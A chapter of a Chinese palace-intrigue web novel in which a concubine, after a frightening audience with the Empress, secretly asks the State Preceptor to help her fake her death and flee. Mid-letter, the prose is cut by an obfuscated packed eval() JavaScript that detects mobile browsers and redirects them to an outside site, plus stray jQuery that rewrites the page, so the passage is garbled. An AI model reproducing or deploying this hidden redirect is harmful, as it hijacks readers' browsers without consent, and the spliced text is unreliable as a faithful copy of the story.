34.034

作品:《招阴笺

    夜色深沉,温招躺在寝殿的榻上,却睡得极不安稳。


    梦中没有光,只有一股浓重的铁锈和霉烂气味缠绕在鼻尖。她发现自己被困在一间阴冷的牢房里,手脚沉重,身上每一处都在隐隐作痛。那些旧日的伤痕仿佛重新裂开,提醒着她一些不愿记起的事。


    黑暗中,一个穿着宽大黑袍的身影缓缓浮现,面目模糊不清,唯有袖口露出一截苍白消瘦的手,握着一把形状奇特的弯匕。那匕首泛着幽冷的光泽,像毒蛇的眼睛。


    “温招。”那人的声音嘶哑低沉,像是从很远的深渊里传来,却又字字清晰,“等着吧,很快我们就会相见。”


    她想后退,身体却像被钉在原地,动弹不得。只能眼睁睁看着那柄弯匕逼近,冰冷的刃尖抵上她的心口。一阵尖锐的刺痛猛地传来,像是冰棱刺入血肉,冻结了血液和呼吸。


    温招猛地睁开眼,从榻上坐起,心脏狂跳不止,额间沁出细密的冷汗。寝殿内烛火昏黄,帐幔低垂,一切如常,唯有她急促的喘息声打破寂静。


    梦中的刺痛感太过真实,心口仿佛还残留着那冰冷的触觉。她抬手按在胸前,指尖微微发颤。


    夜风吹过窗棂,发出细微的呜咽声。有些相遇是注定,就像有些伤口永远不会真正愈合。它们只是潜伏着,在暗处等待一个重逢的时机。


    温招慢慢攥紧胸前的衣襟,布料在指间皱成一团。她知道,那不仅仅是一个梦。


    晨光熹微,透过雕花窗棂落在妆台上。温招静坐镜前,望着镜中略显苍白的脸。魑惊站在她身后,执起木梳,小心翼翼梳理着她如墨的长发。


    “娘娘昨夜没睡好?”魑惊轻声问,指尖动作轻柔。


    温招尚未答话,殿外便传来一阵细碎脚步声。一个小宫女垂首趋步入内,声音怯怯:“娘娘,皇后娘娘请您过去一趟。”


    镜中,温招的眉眼几不可察地凝了一瞬。魑惊梳发的手也顿了顿,眼中掠过一丝担忧。


    “知道了。”温招的声音平静无波,听不出情绪,“回话过去,说本宫稍后便到。”


    小宫女如蒙大赦,匆匆退下。


    魑惊加快手上动作,低声提醒:“娘娘,皇后她……”


    “无妨。”温招打断她,目光仍落在镜中,看着魑惊为她绾好最后一缕发丝,插上一支素净的玉簪,“该来的总会来。”


    她和她的恩怨早晚要了结。温招起身,理了理裙摆,朝殿外走去。晨光将她身影拉得细长,落在冰冷宫砖上。


    皇后的椒房殿总是格外安静,连鸟雀声都稀落。宫人引着温招入内,只见赵灵汐正坐在窗下抚琴,指尖轻拨,流出一段不成调的散音。她未施粉黛,衣着素净,眉宇间却凝着一股化不开的冷冽。


    “妹妹来了。”她未抬头,琴音未止,声音温和得近乎亲昵,“坐。”


    温招依言在下首坐了。空气中弥漫着一种奇异的香,甜腻中带着一丝腐朽气。


    赵灵汐终于停手,抬眼看她。那双眼睛很美,却像蒙了一层薄冰,看不出底下是深潭还是烈焰。“听说妹妹许久都不曾出门?”她语气随意,像在聊家常。


    温招抬眸,她与赵灵汐那双眼接触的那一瞬间,温招瞳孔骤缩,这是她这一世第一次见赵灵汐,上一世赵灵汐的残暴肆虐早就刻在了温招的意识里,她不禁下意识的发抖。


    恐惧。那是源于灵魂本能的恐惧,像无数细针扎进血肉,让她几乎要控制不住身体的颤抖。她强迫自己稳住呼吸,将视线微微垂下,落在皇后那双搭在琴弦的手上。


    温招感到那道目光仍黏在自己身上,带着审视的重量,仿佛毒蛇的信子,冰凉又黏腻。她喉间发紧,每一个字都需费力才能平稳吐出:“是臣妾身子不好,吹不得风。”


    她有狗洞自然不会走大门,便对外宣称病着不方便见人,宫内宫外都知道这位最受宠的良妃娘娘,身子骨不好,体弱多病。


    赵灵汐的手指仍虚按在琴弦上,目光却像淬了冰,缓缓落在温招微微低垂的眼睫上。“身子不好?”她重复道,声音轻柔得像一片羽毛,却带着不容错辨的冷意,“本宫瞧着,妹妹气色尚可。倒是陛下近日忧心国事,清减了不少。”


    她顿了顿,指尖无意识地划过琴弦,发出一声沉闷的嗡鸣。“说起国事,南边似乎也不太平。陛下仁厚,特意选派了得力之人前去处置。说起来,那人似乎与妹妹同出一姓?叫温……温韫,是么?”


    温招搁在膝上的手指尖微微蜷缩了一下。殿内静得能听见香炉里灰烬塌落的细响。


    赵灵汐仿佛才想起什么,唇角弯起一个极浅的弧度,眼底却无半分笑意:“瞧本宫这记性,竟忘了温韫是妹妹的弟弟。陛下此举,也是看重温家人才辈出。只是南漳那地方……听说近来颇不太平,邪祟频出,凶险得很。但愿温小公子吉人天相,莫要辜负了陛下的期望才好。”


    每一个字都像裹着蜜糖的针,轻轻巧巧地扎过来。温招感到那目光如同实质,压在她的脊背上。她慢慢抬起头,迎上赵灵汐的视线。


    恐惧仍在血液里窜动,但另一种更冷的东西渐渐浮了上来。她不喜欢被人这样掐着软肋试探,即使那软肋她自己也曾想亲手斩断。


    “劳娘娘挂心。”温招的声音平稳,听不出波澜,“陛下圣明,既派臣妾弟弟前去,自是相信他能堪当此任。温家子弟,不敢言必功成,但绝不会临阵畏缩,有负圣恩。”


    她微微颔首,目光清凌凌的,像初融的雪水:“倒是娘娘深居宫中,竟对南漳琐事也如此了然,实在令臣妾钦佩。”


    四目相对,空气仿佛凝滞了。香炉里那甜腻腐朽的气息似乎更浓了些。


    赵灵汐脸上的浅笑慢慢敛去,眼底那层薄冰裂开一丝缝隙,露出底下深不见底的寒潭。她盯着温招,许久,才重新勾起唇角,这次的笑意却未达眼底。


    “妹妹说的是。”她轻声道,指尖重重一拨,琴弦发出刺耳的一声锐响,“是本宫多虑了。”


    那声响突兀地刺破殿内的平静,又很快消散在沉闷的空气里。


    殿内陷入一种紧绷的寂静。那一声刺耳的琴弦余韵似乎还缠绕在梁柱之间,混合着甜腻的香气,压得人喘不过气。


    赵灵汐收回手,指尖在琴身上轻轻一点,发出叩击木头的轻响。“妹妹果然如陛下所言,伶俐得很。”她语气平淡,听不出是赞是讽,“看来是本宫白操心了。”


    温招垂下眼帘:“娘娘母仪天下,关切臣下,是臣妾等的福分。”


    “福分?”赵灵汐轻轻笑了一声,那笑声短促而冷,“这宫里的福分,向来是陛下给的。陛下给多少,我们才能有多少。妹妹说是不是?”


    这话里的意味太重,温招没有接。她只是安静地坐着,像一尊玉雕,任对方的目光如何审视,也纹丝不动。


    有些话不必说透,彼此心知肚明便是交锋。赵灵汐见她不再应声,似乎也觉得无趣,摆了摆手:“罢了,本宫也乏了。妹妹既然身子不适,便回去好生歇着吧。”


    “臣妾告退。”温招起身,行礼,动作流畅不见丝毫慌乱。


    她转身走出椒房殿,将那股令人窒息的香气和皇后冰冷的视线关在身后。晨光已经彻底铺开,照在宫墙上,亮得有些刺眼。魑惊立刻迎上来,眼中带着询问。


    温招没有说话,只是微微摇了摇头。主仆二人沉默地走在长长的宫道上,脚步声回荡,清晰得有些孤独。


    直到回到自己宫中,屏退左右,温招才在窗边缓缓坐下。阳光照在她脸上,却驱不散那份苍白。她摊开手掌,指尖微微颤抖,掌心赫然是几道深深的掐痕。


    方才在椒房殿,她远不如表面那般平静。赵灵汐的每一句话都像毒蛇,精准地咬在她最敏感的神经上。尤其是提到温韫……


    她确实恨温家,厌弃那个所谓的父亲,更不屑柳翠的做派。可温韫……那个与她流着一半相同血液的少年,她再不愿承认,也无法眼睁睁看他被卷入深渊,成为别人手中一把随时可弃的刀,或者一个用以警告她的祭品。她的仇她的怨,不该让无辜之人受到牵连。


    赵灵汐今日特意点出南漳之事,绝非偶然。那是一种敲打,一种示威,更是一种试探,试探温韫在她心中的分量,试探她的软肋究竟有多软。


    温招闭上眼,深吸一口气。空气里似乎还残留着椒房殿那令人作呕的甜香。她知道,从这一刻起,有些事情再也无法回避。南漳,她必须去。不仅仅是为了查清邪祟的真相,更是为了斩断某些即将缠绕上来的黑手。


    阳光透过窗棂,在书案上投下清晰的光斑。温招铺开一张素笺,墨锭在砚台上慢慢研磨,墨迹浓黑,映着她沉静的眉眼。


    她提起笔,笔尖悬在纸上方片刻,终于落下。


    「阮大人台鉴:」


    字迹清瘦有力,不见丝毫犹豫。


    「南漳之事,恐难善了。宫中非久留之地,亦非可安身之所。前议‘金蝉脱壳’之计,时机已至,望速筹备。」


    她停笔,目光落在“金蝉脱壳”四字上。这计划他们曾隐约提过,却从未真正摆上台面细论。如今形势逼人,由不得再拖延。


    「需做得干净,如叶落无声,水过无痕。宫中诸事,我自有安排,城外接应,烦请大人周全。」


    墨迹在纸上微微晕开。她知道这封信一旦送出,便再无回头路。皇宫、妃位、眼前的荣宠安逸,都将成为过去。前路是吉是凶,全然未知。


    但她没有迟疑。有些选择,不是在好与坏之间挑,而是在坏与更坏之间选。与其坐以待毙,成为他人俎上鱼肉,不如搏一条生路。


    「此事关


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380766|176822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    乎生死,唯托付于大人。成败在此一举,万望谨慎。」


    最后几字笔锋微沉,透出一丝决绝。她放下笔,将信纸吹干,仔细折好,封入一枚普通信封,未落任何名款。


    “魑惊。”她低声唤道。


    一直守在门外的魑悄无声息地进来。


    温招将信递给她:“务必亲手交到该收信的人手里。”


    魑惊接过信,触手微凉。她看着温招平静却苍白的脸,嘴唇动了动,似乎想说什么,最终只是郑重地点点头:“奴婢明白。”


    她转身快步离去,身影消失在廊柱后。


    温招独自站在窗前,望着庭院中一株开始凋谢的花树。阳光依旧明媚,却仿佛隔了一层什么,再也照不进心底。


    计划一旦启动,便如离弦之箭。从此世间再无良妃温招。她会是谁?能去哪里?都是未知。


    但未知,总好过坐等着那柄梦中的弯匕,再次刺入心脏。


    她轻轻吐出一口气,指尖无意识地抚过窗棂。尘埃在光柱中飞舞,像无数渺小却挣扎的生命。


    路已选好,走下去便是。


    国师府书房内,烛火跳跃。阮时逢斜倚在窗边,指尖夹着那封刚到的密信,脸上惯常的懒散笑意淡去几分,眸色在烛光下显得有些深。


    贪狼静立一旁,如磐石沉默。破军则按捺不住,凑近了些:“大人,可是栖梧宫里那位……有消息了?”他眼睛亮晶晶的,满是好奇。


    阮时逢没立刻回答,又将信纸仔细看了一遍,每一个字都像烙进眼里。他忽然嗤笑一声,指尖弹了弹信纸:“这没良心的兔子,终于动了。”语气里听不出是赞是讽,但眼底却掠过一丝极淡的雀跃和按耐不住的激动。


    破军更好奇了,几乎想探头去看信上内容:“良妃娘娘说什么了?真要……”


    “真要什么?”阮时逢斜他一眼,唇角又勾起点玩味的弧度,“真要上天摘月亮,你也去搭梯子?”


    破军缩缩脖子,嘿嘿一笑:“那得看大人您让不让我搭。”


    贪狼沉声开口:“大人,需属下做什么?”他目光扫过阮时逢手中的信,意思明确。


    阮时逢收敛了戏谑,将信纸凑近烛火。火舌舔舐纸张边缘,迅速蔓延,将他清瘦的字迹和那句“关乎生死”一同吞没,化作细碎的灰烬落下。


    “某只傲娇的蠢兔子,”他看着最后一点火星熄灭,才慢悠悠开口,声音里带着一种奇异的调子,“嫌宫里闷得慌,想换个活法了。”


    破军眨眨眼,一时没反应过来。贪狼已然明了,眼神微凝:“金蝉脱壳?此事风险极大。”


    “她岂会不知风险?”阮时逢拍了拍手上的灰,站起身,“不过是两害相权,选了条更痛快的路罢了。”他走到窗边,望向皇宫的方向,夜色浓重,宫墙的轮廓在远处若隐若现。“既然她选了,这条路是刀山火海,也得有人帮着铺一铺。”


    他转身,脸上又恢复那种漫不经心的神气,但眼神锐利:“贪狼,去把城南那座废宅收拾干净,要绝对隐蔽,准备些必备物资,手脚麻利点,别留痕迹。”


    “是。”贪狼领命,并无多言。


    “破军,”阮时逢看向一脸跃跃欲试的侍卫,“你去弄两具身形年纪与宫里那位差不多的女尸来,要新鲜点,别太容易穿帮。再找点宫里流出来的首饰物件。”


    破军脸色一苦:“大人,这……娘娘身边那侍女的女尸好找,可要像良妃娘娘那样的……还得新鲜……这难度有点大啊!”


    “办不到?”阮时逢挑眉。


    “办得到!”破军立刻挺直腰板,“保证办得漂漂亮亮!就是得加钱!”


    阮时逢翻了个白眼,骂一句:“滚去账房支银子!事情办砸了,仔细你的皮。”他阮时逢是差钱的人?要多少有多少。


    破军笑嘻嘻地应了声,转身就往外窜,嘴里还嘀咕着:“得嘞!这就去给您找个‘新鲜’的娘娘回来……”


    贪狼皱眉看了一眼破军消失的方向,低声道:“大人,此事是否再斟酌?牵连太广,一旦败露……”


    “败露?”阮时逢打断他,声音淡淡,“那就让它败露不了。”他走到书案前,提起笔,却又悬在半空,似乎在斟酌什么。“她既然敢赌,本座总不能让她输了。”


    歧路她要自己走,那他偏要跟着她,死也跟着。


    再说了,他堂堂国师,这点小事算什么。就算是她要那狗常青的位子,他都会想办法给她整来。不知从何时,他对她,不再是为了那窥天命法,也不仅仅是为了捉拿邪祟,他每时每刻都想缠着她,护着她。可有些时候,某个蠢兔子偏偏强的可怕,根本不给他机会。


    他落下笔,开始在纸上勾画路线和接应细节,侧脸在烛光下显得有些专注。贪狼安静地守在一旁,不再多言。